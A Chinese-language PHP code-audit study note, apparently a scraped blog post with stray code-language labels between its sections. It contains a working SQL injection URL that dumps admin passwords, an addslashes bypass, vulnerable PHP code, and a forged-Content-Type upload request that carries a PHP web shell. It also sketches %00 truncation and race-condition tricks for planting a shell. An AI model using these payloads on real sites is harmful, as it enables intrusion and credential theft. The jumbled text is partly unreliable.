----------------------------------------------------------
team:xdsec&90sec
author:wilson
blog:http://blog.wils0n.cn/
文章連接:wilson's blog_php代碼審計基礎筆記[求人氣~~]
-------------------------------------------------------------
0x01 前言javascript
01.對於數字型的輸入,直接使用intval($_GET[id]),強制轉換成整數,這種過濾是毫無辦法的。 $ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : ''; 要是沒有intval($_GET[id]) 那就呵呵了。//有一個屌絲cms就是這樣...... ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,(select%20concat(admin_name,0x23,email,0x23,pwd)%20from%20blue_admin) 02.有些輸入是字符型的,不可能轉換成數字。這個使用就使用addslashes對輸入進行轉義。 aaa’aa ==> aaa\’aa aaa\aa ==> aaa\\aa SELECT * FROM post WHERE id=’aaa\’ union select pwd from admin limit 0,1#
--------------------------------
0x02 漏洞發生
php
那麼問題來了,在上面這種狀況漏洞怎麼出現?[藍翔.....]
html
mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
//字符串徹底沒過濾,gpc爲關閉 function guest_add()//添加留言 { global $bqz,$lang; $exec="insert into ".$bqz."guest (title,name,email,ip,content,times) values ('".$_POST."','".$_POST."','".$_POST."','".$_SERVER."','".$_POST."','".time()."')"; mysql_query($exec)||die(mysqli_error()); echo "<script>alert('".$lang."');window.location.href='http://bbs.xdsec.org/?/guest.php';</script>"; } $exec="insert into ".$bqz."guest (title,name,email,ip,content,times) values ('".$_POST."','".$_POST."','".$_POST."','".$_SERVER."','".$_POST."','".time()."')"; //沒有過濾就將數據放入guest表中,guest表的內容前臺可見。
=====================================================
java
/** * 獲取客戶端 IP 地址 */ public static function getip() { $onlineip = ''; if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) { $onlineip = getenv('HTTP_CLIENT_IP'); } elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) { $onlineip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) { $onlineip = getenv('REMOTE_ADDR'); } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) { $onlineip = $_SERVER['REMOTE_ADDR']; } return $onlineip; }
$.ajax({ "url": "網址", "type": "POST","data":"POST的內容" })mysql
4.命令執行審計技巧
web
--------------ajax
5.2文件上傳漏洞 來自[+]上傳攻擊總結.pdf[這極好的文章]
sql
class upload { private $allow_image_type = array('image/jpg', 'image/gif', 'image/png', 'image/pjpeg'); ...... function img_upload($file, $dir = '', $imgname = ''){ if(empty($dir)){ $dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/"; }else{ $dir = BLUE_ROOT.DATA.UPLOAD.$dir."/"; } if(!file_exists($dir)){ if(!mkdir($dir)){ showmsg('上傳過程當中建立目錄失敗'); } } if(empty($imgname)){ $imgname = $this->create_tempname().$this->get_type($file['name']); } $imgname = $dir . $imgname; if(!in_array($file['type'],$this->allow_image_type)){ //只是檢測了文件頭部來着,那咱們就直接構造一個SHELL就行了 showmsg('不容許的圖片類型'); } }
Payload:
而後咱們能夠將request 包的Content-Type 修改
POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif (原爲Content-Type: text/plain)//$_FILES["file"]["type"]
<?php system($_GET['command']);?>
--xYzZY--thinkphp
3.服務器檢測繞過(目錄路徑檢測)
Filename 能夠控制,直接進行%00截斷看看能不能搞定
4.文件名檢測
下面就是去檢測:$_FILES["file"]["name"]
再次注意:若是文件名進入數據庫也有可能形成注入的。
shell
5.文件上傳邏輯漏洞
http://www.leavesongs.com/PENETRATION/after-phpcms-upload-vul.html
不得不又一次膜拜p神......
文件上傳,支持zip上傳,可是這個phpcms沒有對子目錄下的文件,進行驗證。致使getshell
並且有了一個競爭上傳的概念。。。。
文件是先在服務器存在了,而後再驗證文件名的可靠性。不合法就刪除。那就出現問題了,在存在時候,咱們能夠一整去訪問這個php,而這個php的功能就是寫馬。這樣就能夠成功getshell了。。。。